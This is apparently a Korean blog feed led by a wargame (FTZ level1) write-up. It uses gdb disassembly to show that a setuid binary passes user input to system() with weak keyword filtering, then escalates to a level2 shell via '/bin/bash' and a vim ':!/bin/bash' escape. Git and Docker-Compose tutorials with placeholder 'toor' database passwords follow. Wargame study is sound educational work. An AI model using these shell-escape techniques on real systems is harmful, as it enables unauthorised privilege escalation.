<p>주의!! gdb로 먼저 분석하기 전 꼭 &quot;<strong>tmp</strong>&quot; 또는 임시 디렉터리에 복사하여 분석해야 합니다. 아래와 같은 에러가 발생할 수 있습니다.</p>
<br>
<pre><code class="language-bash">(gdb) b * 0x08048517
Breakpoint 1 at 0x8048517
(gdb) r
Starting program: /bin/ExecuteMe
Couldn't get registers: 명령이 허용되지 않음.
</code></pre>
<p><br><br><br></p>
<pre><code class="language-bash">[level1@ftz tmp]$ cp /bin/ExecuteMe /home/level1/tmp



[level1@ftz level1]$ gdb -q /home/level1/tmp/ExecuteMe
(gdb) disass main
Dump of assembler code for function main:
0x08048488 &lt;main+0&gt;:	push   %ebp
0x08048489 &lt;main+1&gt;:	mov    %esp,%ebp
0x0804848b &lt;main+3&gt;:	sub    $0x28,%esp
0x0804848e &lt;main+6&gt;:	and    $0xfffffff0,%esp
0x08048491 &lt;main+9&gt;:	mov    $0x0,%eax
0x08048496 &lt;main+14&gt;:	sub    %eax,%esp
0x08048498 &lt;main+16&gt;:	sub    $0xc,%esp
0x0804849b &lt;main+19&gt;:	push   $0x8048680
0x080484a0 &lt;main+24&gt;:	call   0x8048358 &lt;system&gt;
0x080484a5 &lt;main+29&gt;:	add    $0x10,%esp
0x080484a8 &lt;main+32&gt;:	sub    $0xc,%esp
0x080484ab &lt;main+35&gt;:	push   $0x804868f
0x080484b0 &lt;main+40&gt;:	call   0x8048378 &lt;chdir&gt;
0x080484b5 &lt;main+45&gt;:	add    $0x10,%esp
0x080484b8 &lt;main+48&gt;:	sub    $0xc,%esp
0x080484bb &lt;main+51&gt;:	push   $0x80486a0
0x080484c0 &lt;main+56&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484c5 &lt;main+61&gt;:	add    $0x10,%esp
0x080484c8 &lt;main+64&gt;:	sub    $0xc,%esp
0x080484cb &lt;main+67&gt;:	push   $0x80486e0
0x080484d0 &lt;main+72&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484d5 &lt;main+77&gt;:	add    $0x10,%esp
0x080484d8 &lt;main+80&gt;:	sub    $0xc,%esp
0x080484db &lt;main+83&gt;:	push   $0x8048720
0x080484e0 &lt;main+88&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484e5 &lt;main+93&gt;:	add    $0x10,%esp
0x080484e8 &lt;main+96&gt;:	sub    $0xc,%esp
0x080484eb &lt;main+99&gt;:	push   $0x8048760
0x080484f0 &lt;main+104&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484f5 &lt;main+109&gt;:	add    $0x10,%esp
0x080484f8 &lt;main+112&gt;:	sub    $0xc,%esp
0x080484fb &lt;main+115&gt;:	push   $0x8048782
0x08048500 &lt;main+120&gt;:	call   0x80483a8 &lt;printf&gt;
0x08048505 &lt;main+125&gt;:	add    $0x10,%esp
0x08048508 &lt;main+128&gt;:	sub    $0x4,%esp
0x0804850b &lt;main+131&gt;:	pushl  0x8049948
0x08048511 &lt;main+137&gt;:	push   $0x1e
0x08048513 &lt;main+139&gt;:	lea    0xffffffd8(%ebp),%eax
0x08048516 &lt;main+142&gt;:	push   %eax
0x08048517 &lt;main+143&gt;:	call   0x8048368 &lt;fgets&gt;
0x0804851c &lt;main+148&gt;:	add    $0x10,%esp
0x0804851f &lt;main+151&gt;:	lea    0xffffffd8(%ebp),%eax
0x08048522 &lt;main+154&gt;:	sub    $0x8,%esp
0x08048525 &lt;main+157&gt;:	push   $0x804879c
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
0x0804852a &lt;main+162&gt;:	push   %eax
0x0804852b &lt;main+163&gt;:	call   0x8048388 &lt;strstr&gt;
0x08048530 &lt;main+168&gt;:	add    $0x10,%esp
0x08048533 &lt;main+171&gt;:	test   %eax,%eax
0x08048535 &lt;main+173&gt;:	je     0x8048551 &lt;main+201&gt;
0x08048537 &lt;main+175&gt;:	sub    $0xc,%esp
0x0804853a &lt;main+178&gt;:	push   $0x80487c0
0x0804853f &lt;main+183&gt;:	call   0x80483a8 &lt;printf&gt;
0x08048544 &lt;main+188&gt;:	add    $0x10,%esp
0x08048547 &lt;main+191&gt;:	sub    $0xc,%esp
0x0804854a &lt;main+194&gt;:	push   $0x0
0x0804854c &lt;main+196&gt;:	call   0x80483c8 &lt;exit&gt;
0x08048551 &lt;main+201&gt;:	lea    0xffffffd8(%ebp),%eax
0x08048554 &lt;main+204&gt;:	sub    $0x8,%esp
0x08048557 &lt;main+207&gt;:	push   $0x80487e8
0x0804855c &lt;main+212&gt;:	push   %eax
0x0804855d &lt;main+213&gt;:	call   0x8048388 &lt;strstr&gt;
0x08048562 &lt;main+218&gt;:	add    $0x10,%esp
0x08048565 &lt;main+221&gt;:	test   %eax,%eax
0x08048567 &lt;main+223&gt;:	je     0x8048583 &lt;main+251&gt;
0x08048569 &lt;main+225&gt;:	sub    $0xc,%esp
0x0804856c &lt;main+228&gt;:	push   $0x8048800
0x08048571 &lt;main+233&gt;:	call   0x80483a8 &lt;printf&gt;
0x08048576 &lt;main+238&gt;:	add    $0x10,%esp
0x08048579 &lt;main+241&gt;:	sub    $0xc,%esp
0x0804857c &lt;main+244&gt;:	push   $0x0
0x0804857e &lt;main+246&gt;:	call   0x80483c8 &lt;exit&gt;
0x08048583 &lt;main+251&gt;:	sub    $0xc,%esp
0x08048586 &lt;main+254&gt;:	push   $0x8048826
0x0804858b &lt;main+259&gt;:	call   0x80483a8 &lt;printf&gt;
0x08048590 &lt;main+264&gt;:	add    $0x10,%esp
0x08048593 &lt;main+267&gt;:	sub    $0x8,%esp
0x08048596 &lt;main+270&gt;:	push   $0xbba
0x0804859b &lt;main+275&gt;:	push   $0xbba
0x080485a0 &lt;main+280&gt;:	call   0x80483b8 &lt;setreuid&gt;
0x080485a5 &lt;main+285&gt;:	add    $0x10,%esp
0x080485a8 &lt;main+288&gt;:	sub    $0xc,%esp
0x080485ab &lt;main+291&gt;:	lea    0xffffffd8(%ebp),%eax
0x080485ae &lt;main+294&gt;:	push   %eax
0x080485af &lt;main+295&gt;:	call   0x8048358 &lt;system&gt;
0x080485b4 &lt;main+300&gt;:	add    $0x10,%esp
0x080485b7 &lt;main+303&gt;:	leave
0x080485b8 &lt;main+304&gt;:	ret
0x080485b9 &lt;main+305&gt;:	nop
0x080485ba &lt;main+306&gt;:	nop
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
0x080485bb &lt;main+307&gt;:	nop
End of assembler dump.
</code></pre>
<br>
<p>위 코드를 분석해보면 대략 아래 9단계로 나눌 수 있다.</p>
<ol>
<li>Stack 구성 (Function Prologue)</li>
<li>system 호출 (명령 실행)</li>
<li>chdir 호출 (디렉터리 이동하기)</li>
<li>printf 5번 출력 (문자열 출력)</li>
<li>fgets  사용자에게 입력 받는다.</li>
<li>strstr 문자열 비교</li>
<li>je 조건문 발생 (if문) 해당 조건문이 참일 경우 해당 주소로 점프(0x8048551), 하지만 거짓일 경우 다음줄 분기문을 실행하며 printf() 함수가 호출되고 exit()을 통해 프로그램이 종료된다.</li>
<li>setreuid() 실행한다.</li>
<li>8번에서 사용된 &quot;setreuid&quot; 함수로 해당 권한으로 system() 함수를 이용해 명령을 실행한다.</li>
</ol>
<p><br><br><br></p>
<pre><code class="language-bash">0x0804849b &lt;main+19&gt;:	push   $0x8048680
0x080484a0 &lt;main+24&gt;:	call   0x8048358 &lt;system&gt;

(gdb) x/s 0x8048680
0x8048680 &lt;_IO_stdin_used+28&gt;:	 &quot;/usr/bin/clear&quot;
</code></pre>
<br>
<p>system 함수를 호출할 때 인자로 &quot;/usr/bin/clear&quot; 문자열을 전달하며, system 함수가 실행된다.<br>
즉, <strong>system(&quot;/usr/bin/clear&quot;)</strong> 명령이 실행되어 출력된 화면의 버퍼를 제거한다.</p>
<p>스택은 아래 와 같이 쌓이게 된다.</p>
<br>
<table>
<thead>
<tr>
<th>주소</th>
<th>값</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x8048680</td>
<td>/usr/bin/clear</td>
</tr>
</tbody>
</table>
<p><br><br><br></p>
<pre><code class="language-bash">0x080484ab &lt;main+35&gt;:	push   $0x804868f
0x080484b0 &lt;main+40&gt;:	call   0x8048378 &lt;chdir&gt;

(gdb) x/s 0x804868f
0x804868f &lt;_IO_stdin_used+43&gt;:	 &quot;/home/level2&quot;
</code></pre>
<br>
<p>&quot;/home/level2&quot; 인자를 chdir 함수에 전달하여 실행한다.<br>
즉, <strong>chdir(&quot;/home/level2&quot;)</strong> 명령이 실행되어 해당 디렉토리 경로로 이동한다.</p>
<br>
<table>
<thead>
<tr>
<th>주소</th>
<th>값</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x8048680</td>
<td>/usr/bin/clear</td>
</tr>
<tr>
<td>0x804868f</td>
<td>/home/level2</td>
</tr>
</tbody>
</table>
<p><br><br><br></p>
<pre><code class="language-bash">0x080484b5 &lt;main+45&gt;:	add    $0x10,%esp
0x080484b8 &lt;main+48&gt;:	sub    $0xc,%esp
0x080484bb &lt;main+51&gt;:	push   $0x80486a0
0x080484c0 &lt;main+56&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484c5 &lt;main+61&gt;:	add    $0x10,%esp
0x080484c8 &lt;main+64&gt;:	sub    $0xc,%esp
0x080484cb &lt;main+67&gt;:	push   $0x80486e0
0x080484d0 &lt;main+72&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484d5 &lt;main+77&gt;:	add    $0x10,%esp
0x080484d8 &lt;main+80&gt;:	sub    $0xc,%esp
0x080484db &lt;main+83&gt;:	push   $0x8048720
0x080484e0 &lt;main+88&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484e5 &lt;main+93&gt;:	add    $0x10,%esp
0x080484e8 &lt;main+96&gt;:	sub    $0xc,%esp
0x080484eb &lt;main+99&gt;:	push   $0x8048760
0x080484f0 &lt;main+104&gt;:	call   0x80483a8 &lt;printf&gt;
0x080484f5 &lt;main+109&gt;:	add    $0x10,%esp
0x080484f8 &lt;main+112&gt;:	sub    $0xc,%esp
0x080484fb &lt;main+115&gt;:	push   $0x8048782
0x08048500 &lt;main+120&gt;:	call   0x80483a8 &lt;printf&gt;

(gdb) x/s 0x80486a0
0x80486a0 &lt;_IO_stdin_used+60&gt;:	 &quot;\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n&quot;
(gdb) x/s 0x80486e0
0x80486e0 &lt;_IO_stdin_used+124&gt;:	 &quot;\t\t한가지 실행시켜 드리겠습니다.\n&quot;
(gdb) x/s 0x8048720
0x8048720 &lt;_IO_stdin_used+188&gt;:	 &quot;\t\t(단, my-pass 와 chmod는 제외)\n&quot;
(gdb) x/s 0x8048760
0x8048760 &lt;_IO_stdin_used+252&gt;:	 &quot;\n\t\t어떤 명령을 실행시키겠습니까?\n&quot;
(gdb) x/s 0x8048782
0x8048782 &lt;_IO_stdin_used+286&gt;:	 &quot;\n\n\t\t[level2@ftz level2]$ &quot;
</code></pre>
<br>
<p>위 printf() 함수에 전달된 인자를 하나씩 파악을 해보면 아까 실행했던 &quot;/bin/ExecuteMe&quot; 모니터에 출력된 문자열 그대로 전달된 걸 볼 수 있습니다.</p>
<br>
<table>
<thead>
<tr>
<th>주소</th>
<th>값</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x8048680</td>
<td>/usr/bin/clear</td>
</tr>
<tr>
<td>0x804868f</td>
<td>/home/level2</td>
</tr>
<tr>
<td>0x80486a0</td>
<td>\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n</td>
</tr>
<tr>
<td>0x80486e0</td>
<td>\t\t한가지 실행시켜 드리겠습니다.\n</td>
</tr>
<tr>
<td>0x8048720</td>
<td>\t\t(단, my-pass 와 chmod는 제외)\n</td>
</tr>
<tr>
<td>0x8048760</td>
<td>\n\t\t어떤 명령을 실행시키겠습니까?\n</td>
</tr>
<tr>
<td>0x8048782</td>
<td>\n\n\t\t[level2@ftz level2]$</td>
</tr>
</tbody>
</table>
<p><br><br><br></p>
<pre><code class="language-bash">0x0804850b &lt;main+131&gt;:	pushl  0x8049948
0x08048511 &lt;main+137&gt;:	push   $0x1e
0x08048513 &lt;main+139&gt;:	lea    0xffffffd8(%ebp),%eax
0x08048516 &lt;main+142&gt;:	push   %eax
0x08048517 &lt;main+143&gt;:	call   0x8048368 &lt;fgets&gt;
0x0804851c &lt;main+148&gt;:	add    $0x10,%esp

(gdb) x/s 0x8049948
0x8049948 &lt;stdin@@GLIBC_2.0&gt;:	 &quot;&quot;
</code></pre>
<br>
<p>위 분석 내용을 바탕으로 <strong>fgets(배열주소 %ebp+0xffffffd8, 30, stdin)</strong> 함수 호출을 한다.</p>
<p>Stack은 함수를 호출할때 쌓이는 인자가 반대로 되어 있는걸 알 수 있습니다.</p>
<p>해당 배열주소에 값이 들어가는지 확인해보도록 하겠습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">(gdb) b * 0x0804851c
Breakpoint 1 at 0x804851c

(gdb) r
Starting program: /home/level1/tmp/ExecuteMe



		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ ABCDEFGHIJKL
        

Breakpoint 1, 0x0804851c in main ()
(gdb) x/3x $ebp+0xffffffd8
0xbfffdf20:	0x44434241	0x48474645	0x4c4b4a49

(gdb) x/3x $ebp-40
0xbfffdf20:	0x44434241	0x48474645	0x4c4b4a49
</code></pre>
<br>
<p>배열에는 차례대로 A부터 L까지 저장된 값을 볼 수 있습니다. (<strong>A는 41이며, 리틀엔디안/빅엔디안 차이로 41,42,43,44 차례가 아닌 44, 43, 42, 41 이러한 형식으로 되어 있습니다.</strong>)</p>
<p><br><br><br></p>
<pre><code class="language-bash">0x0804851c &lt;main+148&gt;:	add    $0x10,%esp
0x0804851f &lt;main+151&gt;:	lea    0xffffffd8(%ebp),%eax
0x08048522 &lt;main+154&gt;:	sub    $0x8,%esp
0x08048525 &lt;main+157&gt;:	push   $0x804879c
0x0804852a &lt;main+162&gt;:	push   %eax
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
0x0804852b &lt;main+163&gt;:	call   0x8048388 &lt;strstr&gt;
0x08048530 &lt;main+168&gt;:	add    $0x10,%esp
0x08048533 &lt;main+171&gt;:	test   %eax,%eax
0x08048535 &lt;main+173&gt;:	je     0x8048551 &lt;main+201&gt;
0x08048537 &lt;main+175&gt;:	sub    $0xc,%esp
0x0804853a &lt;main+178&gt;:	push   $0x80487c0
0x0804853f &lt;main+183&gt;:	call   0x80483a8 &lt;printf&gt;
0x08048544 &lt;main+188&gt;:	add    $0x10,%esp
0x08048547 &lt;main+191&gt;:	sub    $0xc,%esp
0x0804854a &lt;main+194&gt;:	push   $0x0
0x0804854c &lt;main+196&gt;:	call   0x80483c8 &lt;exit&gt;

(gdb) x/s 0x804879c
0x804879c &lt;_IO_stdin_used+312&gt;:	 &quot;my-pass&quot;

(gdb) x/s 0x80487c0
0x80487c0 &lt;_IO_stdin_used+348&gt;:	 &quot;\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n&quot;
</code></pre>
<br>
<p>계속 구문을 분석하다보면, 아래 strstr 함수에서 무언가 비교를 한다.</p>
<p>조건문(je 거짓이면 다음줄 명령 실행하고 참이면 해당 주소로 점프한다.)를 통해 &quot;<strong>my-pass</strong>&quot; 문자열과 사용자가 입력한 문자열 (<strong>$ebp-40주소</strong>)와 비교한다</p>
<p>거짓이면 &quot;<strong>my-pass 명령은 사용할 수 없습니다.</strong>&quot; 문자가 출력하며, 아래 exit 함수를 통해 프로그램은 종료된다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">0x08048551 &lt;main+201&gt;:	lea    0xffffffd8(%ebp),%eax
0x08048554 &lt;main+204&gt;:	sub    $0x8,%esp
0x08048557 &lt;main+207&gt;:	push   $0x80487e8
0x0804855c &lt;main+212&gt;:	push   %eax
0x0804855d &lt;main+213&gt;:	call   0x8048388 &lt;strstr&gt;
0x08048562 &lt;main+218&gt;:	add    $0x10,%esp
0x08048565 &lt;main+221&gt;:	test   %eax,%eax
0x08048567 &lt;main+223&gt;:	je     0x8048583 &lt;main+251&gt;
0x08048569 &lt;main+225&gt;:	sub    $0xc,%esp
0x0804856c &lt;main+228&gt;:	push   $0x8048800
0x08048571 &lt;main+233&gt;:	call   0x80483a8 &lt;printf&gt;
0x08048576 &lt;main+238&gt;:	add    $0x10,%esp
0x08048579 &lt;main+241&gt;:	sub    $0xc,%esp
0x0804857c &lt;main+244&gt;:	push   $0x0
0x0804857e &lt;main+246&gt;:	call   0x80483c8 &lt;exit&gt;

(gdb) x/s 0x80487e8
0x80487e8 &lt;_IO_stdin_used+388&gt;:	 &quot;chmod&quot;
(gdb) x/s 0x8048800
0x8048800 &lt;_IO_stdin_used+412&gt;:	 &quot;\n\t\tchmod 명령은 사용할 수 없습니다.\n\n&quot;
</code></pre>
<p>또한 앞에서 &quot;<strong>my-pass</strong>&quot; 구문을 검사하고 또 다시 아래 로직에서 strstr 함수를 통해 사용자에게 입력받은 값에서 &quot;<strong>chmod</strong>&quot; 문자열인지 비교한다.</p>
<p>해당 문자열이 존재한다면 &quot;<strong>exit</strong>&quot; 함수를 통해 프로그램을 종료한다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">0x08048596 &lt;main+270&gt;:	push   $0xbba
0x0804859b &lt;main+275&gt;:	push   $0xbba
0x080485a0 &lt;main+280&gt;:	call   0x80483b8 &lt;setreuid&gt;
0x080485a5 &lt;main+285&gt;:	add    $0x10,%esp
0x080485a8 &lt;main+288&gt;:	sub    $0xc,%esp
0x080485ab &lt;main+291&gt;:	lea    0xffffffd8(%ebp),%eax
0x080485ae &lt;main+294&gt;:	push   %eax
0x080485af &lt;main+295&gt;:	call   0x8048358 &lt;system&gt;
</code></pre>
<br>
<p>&quot;<strong>0xbba</strong>&quot;는 10진수로 3002를 뜻하므로, setreuid(3002, 3002) 인자를 넣어 함수를 실행한다.</p>
<p>즉, 해당 권한(3002)로 사용자가 입력한 문자열을 &quot;<strong>system</strong>&quot; 함수에 인자로 전달되어 실행된다.<br>
아마 3002는 level2 권한으로 예상된다.</p>
<p>자 그럼 이제 대략 로직을 파악했으니 본격적으로 문제를 풀어보자.</p>
<p><br><br><br></p>
<pre><code class="language-bash">		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ /bin/bash


[level2@ftz level2]$ ls
hint  public_html  tmp
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
[level2@ftz level2]$
</code></pre>
<br>
<p>바로 shell을 실행시켜 level2 권한을 유지하는 방법도 있지만 아래와 같이 hint 방법대로 &quot;<strong>vim</strong>&quot; 편집기를 이용할 수 도 있습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">	레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ vim
</code></pre>
<br>
<p>위와 같이 vim 편집기를 열어주세요.</p>
<br>
<pre><code class="language-bash">~
~
~
~
~
~
~
~
~
~
~
:!/bin/bash
</code></pre>
<br>
<p>그리고 편집기에서 명령을 내리기 위해 &quot;<strong>:!/bin/bash</strong>&quot;를 입력하여 bash shell를 실행시켜주세요.</p>
<br>
<pre><code class="language-bash">	레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ vim


계속하려면 엔터 혹은 명령을 입력하십시오
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)

[level2@ftz level2]$ my-pass

Level2 Password is &quot;hacker or cracker&quot;.

[level2@ftz level2]$
</code></pre>
<br>
<p>vim를 이용해서 &quot;level2&quot; 권한을 유지한채 명령을 계속 시작할 수 있습니다.</p>
<p><br><br><br></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Git!! 기초 명령어 - 요약]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="git">Git!!! 기초 명령어</h2>
<br>
<p>Git!! 간단한 명령을 통해 Source Code 관리에 어렵지 않습니다~~~~</p>
<p><br><br><br></p>
<h2 id="git">[Git 설치하기]</h2>
<p><a href="https://git-scm.com/downloads">[Windows / Mac OS / Linux  다운로드 하기]</a></p>
<p>위 링크에서 PC 운영체제와 Bit에 맞게 Git을 다운로드 받아 설치를 진행하시면 됩니다.</p>
<br>
<p><strong>Ubuntu</strong> 경우 패키지 설치를 통해 간편하게 터미널에서 설치가 가능합니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ sudo apt-get install git
</code></pre>
<h4 id="centerubuntucenter"><center>Ubuntu</center></h4>
<p><br><br></p>
<p><strong>CentOS / Fedora</strong></p>]]></description><link>https://blog.d0ngd0nge.xyz/git_guide/</link><guid isPermaLink="false">5df9de439ad1c10ea4e8b42d</guid><category><![CDATA[Development]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Sun, 29 Dec 2019 07:56:19 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="git">Git!!! 기초 명령어</h2>
<br>
<p>Git!! 간단한 명령을 통해 Source Code 관리에 어렵지 않습니다~~~~</p>
<p><br><br><br></p>
<h2 id="git">[Git 설치하기]</h2>
<p><a href="https://git-scm.com/downloads">[Windows / Mac OS / Linux  다운로드 하기]</a></p>
<p>위 링크에서 PC 운영체제와 Bit에 맞게 Git을 다운로드 받아 설치를 진행하시면 됩니다.</p>
<br>
<p><strong>Ubuntu</strong> 경우 패키지 설치를 통해 간편하게 터미널에서 설치가 가능합니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ sudo apt-get install git
</code></pre>
<h4 id="centerubuntucenter"><center>Ubuntu</center></h4>
<p><br><br></p>
<p><strong>CentOS / Fedora</strong>는 아래 명령을 통해 쉽게 패키지로 설치를 할 수 있습니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ sudo yum install git
</code></pre>
<h4 id="centercenter"><center>레드햇 계열</center></h4>
<p><br><br><br></p>
<h2 id="">프로젝트(저장소) 가져오기 / 생성하기</h2>
<pre><code class="language-git">git clone
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Docker-Compose 다중 컨테이너 관리하기]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="dockercomposeinformation">[Docker-Compose information]</h2>
<p>Docker-Compose는 여러 컨테이너를 모아 관리할 수 있는 유용한 도구입니다.</p>
<p>또한, Docker-Compose는 Dockerfile처럼 &quot;<strong>docker-compose.yml</strong>&quot; 파일에 컨테이너의 구체적인 정보와 &quot;<strong>Dockerefile</strong>&quot;를 함께 사용하여 호스트 상 여러 컨테이너를 한 번에 관리할 수 있습니다.</p>
<p>제일 큰 강점은 &quot;<strong>Compose</strong>&quot;를 통해 개발 환경을 어디에서든지 동일하게 환경을</p>]]></description><link>https://blog.d0ngd0nge.xyz/docker-compose/</link><guid isPermaLink="false">5d6f4d88394b8805a8fd6a0a</guid><category><![CDATA[Docker]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Wed, 04 Sep 2019 05:37:34 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="dockercomposeinformation">[Docker-Compose information]</h2>
<p>Docker-Compose는 여러 컨테이너를 모아 관리할 수 있는 유용한 도구입니다.</p>
<p>또한, Docker-Compose는 Dockerfile처럼 &quot;<strong>docker-compose.yml</strong>&quot; 파일에 컨테이너의 구체적인 정보와 &quot;<strong>Dockerefile</strong>&quot;를 함께 사용하여 호스트 상 여러 컨테이너를 한 번에 관리할 수 있습니다.</p>
<p>제일 큰 강점은 &quot;<strong>Compose</strong>&quot;를 통해 개발 환경을 어디에서든지 동일하게 환경을 구성할 수 있습니다.</p>
<p>&quot;<strong>docker-compose</strong>&quot; 명령을 실행하여 여러 개의 컨테이너를 한 번에 실행하거나 정지를 할 수 있으며, 컨테이너 구성정보를 YAML 형식(.yml 확장자)으로 관리할 수 있습니다.<br>
<br><br><br><br></p>
<h2 id="dockercomposeinstall">[Docker-Compose install]</h2>
<pre><code class="language-bash">dongdonge@dongdonge$ sudo apt-get install docker-compose -y


dongdonge@dongdonge$ docker-compose version
docker-compose version 1.17.1, build unknown


dongdonge@dongdonge$ docker version
Client:
 Version:           18.09.7
 API version:       1.39
 Go version:        go1.10.1
 Git commit:        2d0083d
 Built:             Fri Aug 16 14:20:06 2019
 OS/Arch:           linux/amd64
 Experimental:      false

Server:
 Engine:
  Version:          18.09.7
  API version:      1.39 (minimum version 1.12)
  Go version:       go1.10.1
  Git commit:       2d0083d
  Built:            Wed Aug 14 19:41:23 2019
  OS/Arch:          linux/amd64
  Experimental:     false
</code></pre>
<br>
<p>Docker-Compose를 사용하기 위해 설치를 진행하였습니다. 현재 Docker &quot;<strong>18.09.7</strong>&quot; 버전 / Compose &quot;<strong>1.17.1</strong>&quot; 설치된 걸 확인할 수 있습니다.</p>
<p><br><br><br><br></p>
<h2 id="dockercomposedockercomposeyml">[Docker-Compose docker-compose.yml 작성하기]</h2>
<p>&quot;<strong>docker-compose.yml</strong>&quot;를 작성하기전 아래와 같이 구성하였습니다.</p>
<pre><code class="language-bash">.
├── docker-compose.yml
├── mysql
│   └── Dockerfile
└── web
    ├── Dockerfile
    └── index.php
</code></pre>
<h4 id="centercenter"><center>현재 디렉터리 구성</center></h4>
<br>
<p>메인에 존재하는 &quot;<strong>docker-compose.yml</strong>&quot;로 컨테이너 및 이미지를 관리하고, 하위 디렉터리별 &quot;<strong>mysql/Dockerfile</strong>&quot;와 &quot;<strong>web/Dockerfile</strong>&quot;을 통해 컨테이너에 필요한 이미지를 제작합니다.</p>
<p><br><br><br></p>
<pre><code class="language-docker"># Docker container Apache:php + Mysql Server
version: '3'

services:
  apache_web:
    restart: always
    container_name: Apache_Webs
    build:
          context: /docker-compose - TEST/web/
          dockerfile: /docker-compose - TEST/web/Dockerfile
    ports:
      - &quot;1234:80&quot;
    depends_on:
      - mysql_db
    links:
      - mysql_db:mysql_db
    
      
  mysql_db:
    restart: always
    container_name: Mysql_DBS
    build:
          context: /docker-compose - TEST/mysql/
          dockerfile: /docker-compose - TEST/mysql/Dockerfile
</code></pre>
<h4 id="centerdockercomposeymlcenter"><center>docker-compose.yml</center></h4>
<br>
<p>우선 작동 원리와 컨테이너 관리를 먼저 파악한 뒤 다음에 명령에 대해 설명하도록 하겠습니다.</p>
<p>위 &quot;<strong>docker-compose.yml</strong>&quot; 파일은 웹서버 컨테이너와 디비서버 컨테이너를 간단하게 분리시켜 생성한 뒤, 링크로 연결되어 있습니다.</p>
<p><br><br><br></p>
<pre><code class="language-docker">FROM mysql:5.7

ENV MYSQL_ROOT_PASSWORD=&quot;toor&quot;
ENV MYSQL_DATABASE &quot;DongDongE&quot;
ENV MYSQL_USER &quot;DongDongE&quot;
ENV MYSQL_PASSWORD &quot;toor&quot;

EXPOSE 3306 
CMD [&quot;mysqld&quot;]
</code></pre>
<h4 id="centermysqldockerfilecenter"><center>mysql/Dockerfile</center></h4>
<p><br><br><br></p>
<pre><code class="language-docker">FROM php:7.3-apache

COPY index.php /var/www/html/

EXPOSE 80
CMD apachectl -D FOREGROUND
</code></pre>
<h4 id="centerwebdockerfilecenter"><center>web/Dockerfile</center></h4>
<p><br><br><br></p>
<pre><code class="language-php">&lt;?php phpinfo(); ?&gt;
</code></pre>
<h4 id="centerwebindexphpcenter"><center>web/index.php</center></h4>
<p><br><br><br><br></p>
<h2 id="dockercomposecontainerstart">[Docker-Compose Container Start]</h2>
<p>&quot;<strong>Docker-Compose</strong>&quot;를 통해 Container를 시작해보겠습니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ docker-compose up -d

Creating network &quot;dockercomposetest_default&quot; with the default driver
Building mysql_db
Step 1/7 : FROM mysql:5.7
5.7: Pulling from library/mysql
9fc222b64b0a: Pulling fs layer
291e388076f0: Pulling fs layer
9fc222b64b0a: Downloading [&gt;                                                  ]  228.5kB/22.52MB290b: Downloading [=============&gt;                                     ]  1.191MB
9fc222b64b0a: Downloading [==&gt;                                                ]  1.146MB/22.52MB290b: Downloading [=================&gt;                                 ]  1.584MB
291e388076f0: Downloading [=============&gt;                                     ]     486B
291e388076f0: Downloading [==================================================&gt;]  1.748kB
9fc222b64b0a: Downloading [=====&gt;                                             ]  2.297MB
.....
Status: Downloaded newer image for mysql:5.7
 ---&gt; e1e1680ac726
Step 2/7 : ENV MYSQL_ROOT_PASSWORD=&quot;toor&quot;
 ---&gt; Running in c46616c30f2a
Removing intermediate container c46616c30f2a
 ---&gt; 26f990bbf1f9
Step 3/7 : ENV MYSQL_DATABASE &quot;DongDongE&quot;
 ---&gt; Running in 3a1c045e91dd
Removing intermediate container 3a1c045e91dd
 ---&gt; 311814510bdd
Step 4/7 : ENV MYSQL_USER &quot;DongDongE&quot;
 ---&gt; Running in b657a33a4f6c
Removing intermediate container b657a33a4f6c
 ---&gt; 264ec484dc50
Step 5/7 : ENV MYSQL_PASSWORD &quot;toor&quot;
 ---&gt; Running in 7ef5f73c721a
Removing intermediate container 7ef5f73c721a
 ---&gt; 76378a7ef977
Step 6/7 : EXPOSE 3306
 ---&gt; Running in c76d57e2adf7
Removing intermediate container c76d57e2adf7
 ---&gt; 725305713879
Step 7/7 : CMD [&quot;mysqld&quot;]
 ---&gt; Running in 3ee1b5b8ea34
Removing intermediate container 3ee1b5b8ea34
